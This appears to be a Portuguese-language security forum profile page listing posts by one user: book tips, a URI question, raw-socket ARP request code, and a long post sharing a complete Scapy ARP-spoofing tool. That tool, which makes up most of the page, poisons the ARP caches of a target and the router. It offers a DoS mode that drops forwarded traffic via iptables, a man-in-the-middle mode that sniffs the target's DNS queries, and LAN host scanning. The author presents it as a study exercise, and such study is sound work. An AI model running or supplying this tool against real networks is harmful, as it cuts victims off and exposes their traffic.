Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    74
  • Registro em

  • Última visita

Reputação

29 Excellent

Últimos Visitantes

O bloco dos últimos visitantes está desativado e não está sendo visualizado por outros usuários.

  1. gnoo

    O que é um "authority path-abempty" em uma sintaxe URI

    Olá @domedfd tudo bem, lê este texto primeiro até ao fim ( não sei se já viste ) https://woliveiras.com.br/posts/url-uri-qual-diferenca/ há uma questão parecida à tua no stackoverflow pode ser que ajude https://stackoverflow.com/questions/40905666/what-does-abempty-mean-in-the-term-path-abempty-in-the-context-of-rfc398 no google tradutor o que podes fazer para melhorar a tradução é traduzir um parágrafo de cada vez, dá trabalho dessa forma ...mas compensa o esforço.
  2. gnoo

    Indicação de Livro socket em C

    Os conceitos apresentados nesse livro também dá para para outras linguagens eu uso bastante coisas em Python, apesar da sintaxe da linguagem ser diferente as bases estão todas ai.
  3. gnoo

    Livro para estudo TCP / IP

    Saudações, tenho estudado por este livro o protocolo TCP / IP, e é um livro bastante completo.
  4. Saudações, todos sabemos que a democracia um pouco por todo o mundo está cada vez mais frágil ou talvez nem exista, talvez estejamos a confundir estados tolerantes com estados democráticos, só temos direitos porque temos deveres, e atualmente dever que nos é permitido antes de qualquer outro é consumir, sem consumo a democracia vai à falência e o estado democrático entra na banca rota. Quero desejar a toda a comunidade Brasileira boa sorte no domingo.
  5. gnoo

    Livro: Fundamentos de Engenharia Reversa

    @Sulivan Tavares Leite essa correção não faz sentido nenhum, és tu quem está a cometer o erro de não seguir os requisitos do livro... No tópico " Antes de começar ", está bem explicito que para seguir o conteúdo do livro, deve-se utilizar a versão 2.7 do python https://mentebinaria.gitbook.io/engenharia-reversa/antes-de-comecar e tu estás a usar ( como é lógico ), a versão 3.6 do python, é dai que esse erro aparece, se tentares introduzir esses dados no python 2.7 esse erro não vai aparecer. Outra questão que na minha opinião deverias ter em conta, é sobre o facto estares a utilizar um interpretador que NÃO É nativo do python, pelo que eu entendi tu estás a utilizar o repli.it , corrige-me se eu estiver errado.... esse código é interpretado por javascript, o que pode algumas vezes dar origem a pequenos erros ... ou talvez não... O mais importante disto tudo é que tu, estás a utilizar uma versão do python que não é compativel com o conteúdo do livro. Abraço. @Fernando Mercês tens mesmo que atualizar isso 😛
  6. gnoo

    como são detectadas as redes LTE 4G ?

    Saudações, estava aqui a pensar, o wifi publico cada vez é menos usado devido à net móvel.... como são detectadas as redes LTE 4G e os dispositivos ligados a ela?
  7. gnoo

    Livro: Fundamentos de Engenharia Reversa

    O conteúdo é muito bom mas nunca compreendi o porquê de continuar a fazer conteúdo com python 2.7 especialmente quando vai deixar de ter suporte dentro de 1 ano, https://pythonclock.org/ nuca fez sentido para mim usar python na versão 2.7, python já vai quase na versão 4, no entanto ainda continua a acontecer fazer conteúdo com uma versão praticamente obsoleta, podemos ver isso a acontecer em livros com edição bastante recente o código vir em python 2.7 e ser cobrado um valor absurdo por esse conteúdo... Talvez seja uma religião... 😛 Amen 😇
  8. gnoo

    Livros de programação em C

    Mais um complemento interessante:
  9. Saudações, após vários momentos de sangue, suor e lágrimas , e um pouquinho de Stack Overflow finalmente resolvi o meu problema... No código acima o que não estava a funcionar era o formato em que o meu mac_local e o mac_dest não estavam a ser bem empacotados, dai o resultado apresentado pelo pelo wireshark ser completamente diferente do meu MAC real. Isso acontecia porque estava a empacotar um endereço mac com 6 bytes quando na realidade o tamanho da string era 17 bytes (salvo erro), então só apanhava esses 6 bytes logo o mac não era empacotado na totalidade, e como o mac não estava correto ele não fazia o broadcast para a rede, sem broadcast não há resposta. Para resolver isso tive que passar os endereço mac para byte order. Como fazer isso? O código pouco ou até mesmo nada mudou mas deixo o resultado final... Para ver o comportamento dos pacotes enviados deve ser feito através do wireshark ou outra ferramenta que cumpra a mesma função, com filtro "arp". #!/usr/bin/env python3 import struct import socket raw = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806)) raw.bind(("wlp3s0", socket.htons(0x0806))) mac_local = b'\xff\xff\xff\xff\xff\xff' # mac de quem envia request ip_local = "192.168.1.7" # ip de quem envia request mac_dest = b'\xff\xff\xff\xff\xff\xff' # Endereço broadcast para que seja enviado um reply ip_dest = "192.168.1.2" # ip de quem recebe request # Ethernet Header protocolo = 0x0806 # 0x0806 protocol to ARP ethernet_header = struct.pack("!6s6sH", mac_dest, mac_local, protocolo) # ARP header tipo_hardware = 1 tipo_protocolo = 0x0800 # IPV4 tamanho_endereco_hardware = 6 # Refere ao tamanho do endereço do MAC que é 48 bits == 6 bytes tamanho_endereco_protocolo = 4 # Refere ao tamanho do endereço do ipv4 que é 32 bits == 4 bytes operacao = 1 # 1 = request / 2 = Reply envia_ip = socket.inet_aton(ip_local) destino_ip = socket.inet_aton(ip_dest) arp_addr = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereco_protocolo, operacao, mac_local, envia_ip, mac_dest, destino_ip) pacote = ethernet_header + arp_addr # Ciclo de repetição while é opcional cont = 0 while cont < 6: raw.send(pacote) cont +=1
  10. Qualquer coisa que não está bem com o meu MAC e o MAC do destinatário, provavelmente não está a ser devidamente empacotado e eu não percebo porquê, apesar de eu estar a passar o meu mac correto o wireshark, o MAC do destinatário que vai no pacote deveria ser ff:ff:ff:ff:ff:ff:ff e não 30:30:3a:30:30:3a.
  11. Saudações, tenho andado aqui a tentar fazer um código que que faz requisições ARP e espera por um reply do host para onde foi enviado o pacote mas, nunca vem esse reply... #!/usr/bin/env python3 import struct import socket raw = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806)) raw.bind(("wlp3s0", socket.htons(0x0806))) mac_local = "ff:ff:ff:ff:ff:ff" # mac de quem envia request ip_local = "192.168.1.7" # ip de quem envia request mac_dest = "ff:ff:ff:ff:ff:ff" # mac de quem recebe request ip_dest = "192.168.1.6" # ip de quem recebe request # Ethernet Header protocolo = 0x0806 # 0x0806 protocolo para ARP ethernet_header = struct.pack("!6s6sH", mac_dest.encode(), mac_local.encode(), protocolo) # ARP header tipo_hardware = 1 tipo_protocolo = 0x0800 # IPV4 tamanho_endereco_hardware = 6 # Refere ao tamanho do endereço do MAC que é 48 bits == 6 bytes tamanho_endereço_protocolo = 4 # Refere ao tamanho do endereço do ipv4 que é 32 bits == 4 bytes operacao = 1 # 1 = request / 2 = Reply envia_ip = socket.inet_aton(ip_local) destino_ip = socket.inet_aton(ip_dest) arp_addr = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereço_protocolo, operacao, mac_local.encode(), envia_ip, mac_dest.encode(), destino_ip) pacote = ethernet_header + arp_addr cont = 0 while cont < 6: raw.send(pacote) cont +=1 Resultado do wireshark
  12. gnoo

    Dúvida requisição HTTP

    Pois foi o que eu também tinha em mente mas tinha lido isso, num blog qualquer uns tempos atrás e agora estava a pensar numa outra coisa que envolve esse tipo de iteração, era só para esgotar todas as hipóteses. Obrigado @Fernando Mercês
  13. gnoo

    Dúvida requisição HTTP

    Saudação, quando faço uma requisição no browser www.qqcoisa.com esse pacote vai ao ISP DNS Servidor. Mas se em vez de www.qqcoisa.com enviar apenas o IP 200.15.20.130... Ele também passa no ISP ou vai direto ao servidor?
  14. gnoo

    DoS, MITM com sniff DNS, com Scapy

    Saudações, recentemente andava ver um código do livro Black hat python programming for hackers and pentesters, e encontrei lá um capítulo onde falava de ARP Spoofing, e comecei a ler o código, o seu conteúdo explica a fazer a alteração da cache ARP reestruturar a rede e a armazenar os resultado dos pacotes em .pcap... mas houve uma falha naquela explicação, ele fala sobre alterar o valor do módulo ip_forward para 1, mas não fala sobre as regras do iptables, vamos imaginar que quem segue aquele conteúdo não sabe que o Chain FORWARD policy tem que estar como ACCEPT, e está definido como DROP, na prática o que ele vai estar a fazer é um negação de serviço, em vez de deixar passar o tráfego, foi uma falha naquele capitulo... Eu agarrei o código dele, nas funções principais, retirei a parte em que cria o ficheiro .pcap, acrescentei funções minhas e automatizei algumas tarefas. A minha versão tem: alteração da cache ARP reestruturação da rede Obter MAC dos Hosts e Router Ataque DoS em que é definida a regra Chain FORWARD policy para DROP MITM em que é definida a regra Chain FORWARD policy para ACCEPT Scan ARP para procurar hosts na rede em varias fases do programa, na saida de dados dá IP MAC e Hostname dos mesmos Numa fase inicial tentar encontrar um ou mais routers na rede. ( sem certeza que encontra mais que um porque não tinha outro router nem Switcher para experimentar, pelo menos um encontra de certeza ). Detecta todas as placas de rede na máquina, com valores de pacotes enviados e recebidos em cada uma das placas de rede Dessas placas de rede recebemos dados como IP Broadcast netmask etc.. E mais algumas coisas que não me lembro Vê requisições DNS durante o MITM E mais algumas coisas que não me lembro. Vou dar continuidade a este código para juntar outras funcionalidades, assim permite-me estudar outras coisas. O interessante de fazer um programa destes, não é porque a ferramenta em si seja extraordinária, mas sim o exercício e o que ele te permite aprender, especialmente no que toca a redes e algumas bibliotecas interessantes do python que nos facilitam bastante a vida. Como é óbvio criticas são SEMPRE bem vindas ! Segue o código: #!/usr/bin/env python3 import sys import os import time import socket import re try: from scapy.all import * except: print("O módulo scapy não está instalado") try: import psutil except: print("O módulo psutil não está instalado !") try: import netifaces except: print("O módulo netifaces não está instalado !") def restaura_target(router_ip, router_mac, target_ip, target_mac): print("A restaurar target...") send(ARP(op = 2, psrc = router_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = router_mac), count = 5) send(ARP(op = 2, psrc = target_ip, pdst = router_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5) def get_mac(endereco_ip): try: resposta, nao_resposta = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = endereco_ip), timeout = 2, retry = 10) # Retorna o endereço MAC de uma resposta for s, r in resposta: return r[Ether].src return None except: pass def Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac): arp_target = ARP() arp_target.op = 2 arp_target.psrc = router_ip arp_target.pdst = target_ip arp_target.hwdst = target_mac arp_router = ARP() arp_router.op = 2 arp_router.psrc = target_ip arp_router.pdst = router_ip arp_router.hwdst = router_mac print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]") while True: try: send(arp_target) send(arp_router) sniff(iface = interface, filter = "port 53", prn = dns_sniff, store = 0) except KeyboardInterrupt: restaura_target(router_ip, router_mac, target_ip, target_mac) print("Ataque ARP terminado.") with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: ip_forward.write("0") time.sleep(2) print("A reiniciar...\n ") os.execl(sys.executable, sys.executable, *sys.argv) def Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac): arp_target = ARP() arp_target.op = 2 arp_target.psrc = router_ip arp_target.pdst = target_ip arp_target.hwdst = target_mac arp_router = ARP() arp_router.op = 2 arp_router.psrc = target_ip arp_router.pdst = router_ip arp_router.hwdst = router_mac print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]") while True: try: send(arp_target) send(arp_router) except KeyboardInterrupt: restaura_target(router_ip, router_mac, target_ip, target_mac) print("Ataque ARP terminado.") with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: ip_forward.write("0") time.sleep(2) print("A reiniciar...\n ") os.execl(sys.executable, sys.executable, *sys.argv) def input_dados_Dos(): lista_resposta_sim = ["s","sim","SIM"] lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"] while True: resp_scan = input("Queres localizar Hosts na rede ? [s/n] ") if not resp_scan: print("Não foi obtida qualquer resposta.. Responde [s/n] ") elif resp_scan in lista_resposta_sim: scan_arp_hosts(ip_tupla) break elif resp_scan in lista_resposta_nao: break else: print("{} não é uma resposta válida !".format(resp_scan)) target_ip = input("Inserir DoS TARGET -> ") target_mac = get_mac(target_ip) if target_mac is None: print("Falhou resolver MAC em {}".format(target_ip)) sys.exit(0) else: print("Target {} em {}".format(target_ip, target_mac)) Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac) def input_dados_MITM(): lista_resposta_sim = ["s","sim","SIM"] lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"] while True: resp_scan = input("Queres localizar Hosts na rede ? [s/n] ") if not resp_scan: print("Não foi obtida qualquer resposta.. Responde [s/n] ") elif resp_scan in lista_resposta_sim: scan_arp_hosts(ip_tupla) break elif resp_scan in lista_resposta_nao: break else: print("{} não é uma resposta válida !".format(resp_scan)) target_ip = input("Inserir MITM TARGET -> ") target_mac = get_mac(target_ip) if target_mac is None: print("Falhou resolver MAC em {}".format(target_ip)) sys.exit(0) else: print("Target {} em {}".format(target_ip, target_mac)) Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac) def scan_arp_hosts(ip_tupla): print("A procurar hosts na rede ARP Scanner... Aguardar...") print("Em espera, ARP Reply...") resp, sem_resp = srp(Ether(dst= "ff:ff:ff:ff:ff:ff")/ARP(pdst = "{0[0]}".format(ip_tupla) + "/24"), timeout = 2, iface = "{0[1]}".format(ip_tupla), inter =0.1) print("Atividade na rede:") for snd, rcv in resp: hostname_na_rede = socket.getfqdn(rcv.sprintf(r"%ARP.psrc%")) print(rcv.sprintf(r"Host: %ARP.psrc% - MAC: %Ether.src% - ") + hostname_na_rede) return hostname_na_rede, rcv.sprintf(r"%ARP.psrc%") def devolve_ip_router(ip_tupla): ip_router_lista = [] for itens in ip_tupla: if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): ip_router_lista.append(itens) for ip in ip_router_lista: router_hostname = socket.getfqdn(ip) print("ROUTER detetado - {} - {}".format(ip, router_hostname)) def devolve_host_local(ip_tupla): dados = netifaces.ifaddresses("{0[1]}".format(ip_tupla)) dicionario_dados = dados[netifaces.AF_INET][0] return socket.gethostname(), dicionario_dados["addr"] def informacao_geral(): identifica_ip_router = netifaces.gateways() ip_tupla = identifica_ip_router[netifaces.AF_INET][0] devolve_ip_router(ip_tupla) print("NIC detetado :") interfaces_e_info = psutil.net_io_counters(pernic = True) lista_interface = [] for dados in interfaces_e_info: if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): pass else: lista_interface.append(dados) for info_nic in lista_interface: print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) print("NIC em uso -> {0[1]}".format(ip_tupla)) scan_arp_hosts(ip_tupla) def dns_sniff(pacote): if IP in pacote: ip_source = pacote[IP].src ip_destino = pacote[IP].dst if pacote.haslayer(DNS) and pacote.getlayer(DNS).qr == 0: if ip_source == ip_host_local: pass else: return "TARGET: {} - ROUTER: {} - DNS: {}".format(ip_source, ip_destino, pacote.getlayer(DNS).qd.qname.decode()) def main(): if os.geteuid() != 0: print("O programa deve ser executado como root !") sys.exit(0) with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: # Altera valor módulo ip_forward para 1 ip_forward.write("1") interfaces_e_info = psutil.net_io_counters(pernic = True) # Recebe info todas NIC's detectadas """ bytes_sent, bytes_recv, packets_sent, packets_recv, errin, errout, dropin, dropout """ identifica_ip_router = netifaces.gateways() # Retorna um dicionário com IP do router e interface NIC rede atual global ip_tupla ip_tupla = identifica_ip_router[netifaces.AF_INET][0]# retorna uma tupla com o ip do router e a interface da placa de rede atual em uso ip_router_lista = [] # Recebe IP router detectado na tupla for itens in ip_tupla: if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): # Procura arquitetura ip na tupla ip_router_lista.append(itens) """ O ciclo for anterior com a linha 'if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)):', foi pensado no caso de haver mais do que um router ignorando a interface NIC. """ global ip_host_local hostname, ip_host_local = devolve_host_local(ip_tupla) # Detecta o IP classe C da máquina local o seu hostname print("\nNIC detetado :") lista_interface = [] for dados in interfaces_e_info: if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): #Ignora interface loopback """ Podemos admitir que com nomes de interfaces que iniciam e terminam com caracteres diferentes não ignora a interface loopback """ pass else: lista_interface.append(dados) for info_nic in lista_interface: print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) #Retrona atividade pacotes no NIC """ O objetivo de obter pacotes recebidos e enviados, é perceber qual a interface que tem actividade e que vamos analisar o tráfego que lá passa """ print("NIC em uso -> {0[1]} em {1} - {2}".format(ip_tupla, ip_host_local, hostname)) # identifica NIC em uso, IP host local e o seu hostname mais_info_nic = psutil.net_if_addrs() # Escolhemos a interface que vamos fazer passar o tráfego para observação, em simultâneo detecta a existência da interface no sistema # na lista_interface try: while True: global interface interface = input("NIC para escuta -> ") if not interface: print("NIC não foi selecionado !") elif interface not in lista_interface: print("{} não está disponivel !".format(interface)) else: print("[*] A preparar a interface {}".format(interface)) # Define a nossa interface conf.iface = interface # Mais info sobre NIC escolhido lista_mais_info_nic_INET = list(mais_info_nic[interface][0]) # info IPV4 lista_mais_info_nic_INET6 = list(mais_info_nic[interface][1]) # info IPV6 lista_mais_info_nic_LINK = list(mais_info_nic[interface][2]) # info Ethernet print("NIC: {} info :".format(interface)) print("inet: {} netmask: {} broadcast: {} ".format(lista_mais_info_nic_INET[1], lista_mais_info_nic_INET[2], lista_mais_info_nic_INET[3])) print("inet6: {} netmask: {} broadcast: {}".format(lista_mais_info_nic_INET6[1], lista_mais_info_nic_INET6[2], lista_mais_info_nic_INET6[3])) print("link: {} netmask: {} broadcast: {}\n".format(lista_mais_info_nic_LINK[1], lista_mais_info_nic_LINK[2], lista_mais_info_nic_LINK[3])) break except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) conf.verb = 0 # Desabilita verbose de string originado pelo scapy global router_mac global router_ip time.sleep(1) # Detecta router na lista ip_router_lista print("-> ROUTER detetado :") for r_ip in ip_router_lista: print(r_ip + " - {}".format(socket.getfqdn(r_ip))) # retorna IP e hostname router # Escolhemos o router detectado, em simultâneo detecta a existência do router na lista ip_router_lista """ Esta tarefa pode ser automatizada, é valida se estivermos a pensar em detectar mais que um router, e escolher um para conexão """ while True: try: router_ip = input("IP router -> ") if not router_ip: print("Router não selecionado !") elif router_ip not in ip_router_lista: print("ROUTER {} não está disponivel !".format(router_ip)) print("-> detetado ROUTER :") for r_ip in ip_router_lista: print(r_ip) else: break except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) router_mac = get_mac(router_ip) # Retorna MAC router contador = 0 # Faz vária tentativas para resolver MAC router while contador < 4: try: if router_mac is None: print("Falhou a resolver MAC ROUTER em {} Tentar novamente... ".format(router_ip)) router_mac = get_mac(router_ip) if contador == 3: print("Ultima tentativa a resolver MAC ROUTER em {} ! Preparar para sair...".format(router_ip)) router_mac = get_mac(router_ip) print("Não conseguiu resolveu MAC ROUTER em {} ".format(router_ip)) sys.exit(0) else: print("Resultado:") print("ROUTER: {} MAC: {} - {}\n".format(router_ip, router_mac, socket.getfqdn(router_ip))) break contador += 1 except KeyboardInterrupt: print("Operação terminada pelo usuário... A sair") sys.exit(0) print("A iniciar (cmd)...") time.sleep(1) print("Utilização cmd... sabe mais com -> Help / -h\n") while True: try: comando = input("(cmd)>>> ") if comando == "Dos": os.system("iptables -P FORWARD DROP") # Define regra iptables Chain FORWARD policy DROP, deixa "cair" pacotes input_dados_Dos() elif comando == "MITM": os.system("iptables -P FORWARD ACCEPT") # Define regra iptables Chain FORWARD policy ACCEPT, deixa passar tráfego no NIC input_dados_MITM() elif comando == "restart": os.execl(sys.executable, sys.executable, *sys.argv) # Reinicia programa elif comando == "exit": sys.exit(0) elif comando == "info": informacao_geral() # Dá info sobre NIC detectados, ROUTER detectados, e hosts ativos na rede com scan ARP elif comando == "help" or comando == "-h": print("Comandos disponiveis:") print("-> Dos (Denial of Service)") print("-> MITM (Man in The Middle)") print("-> info (Informação Geral)") print("-> help / -h (Informação sobre cmd)") print("-> restart") print("-> exit") else: print("Comando \033[1;33m{}\033[00m não está disponivel, mais info: 'help' / '-h' ".format(comando)) except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) if __name__ == '__main__': main() Obrigado
×